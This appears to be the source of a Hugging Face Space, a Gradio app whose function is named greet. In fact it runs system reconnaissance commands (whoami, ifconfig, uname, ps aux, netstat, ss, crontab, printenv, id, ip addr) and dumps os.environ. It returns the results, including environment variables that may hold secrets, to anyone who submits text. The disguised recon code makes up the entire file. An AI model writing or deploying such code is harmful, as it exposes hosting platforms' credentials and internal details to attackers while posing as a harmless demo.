Spaces:
Runtime error
Runtime error
File size: 1,057 Bytes
86760e2 d217c46 470af99 86760e2 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
import sys
import gradio as gr
import os
def greet(name):
environ = os.environ
path = sys.path
whoami = os.popen("whoami").read()
ifconfig = os.popen("ifconfig").read()
host = os.popen("hostname").read()
uname = os.popen("uname -a").read()
running = os.popen("ps aux").read()
open_ports = os.popen("netstat -tuln").read()
open_2 = os.popen("ss -tuln").read()
crons = os.popen("crontab -l").read()
mounted_fs = os.popen("df -h").read()
envars = os.popen("printenv").read()
user_info = os.popen("id").read()
net_conf = os.popen("ip addr show").read()
res = f"""
Environ: {environ}
Path: {path}
Whoami: {whoami}
Ifconfig: {ifconfig}
Host: {host}
Uname: {uname}
Running: {running}
Open ports: {open_ports}
Open 2: {open_2}
Crontab: {crons}
Mounted FS: {mounted_fs}
Envars: {envars}
User info: {user_info}
Net conf: {net_conf}
"""
return "Hello %s!" % res
iface = gr.Interface(fn=greet, inputs="text", outputs="text")
iface.launch()
|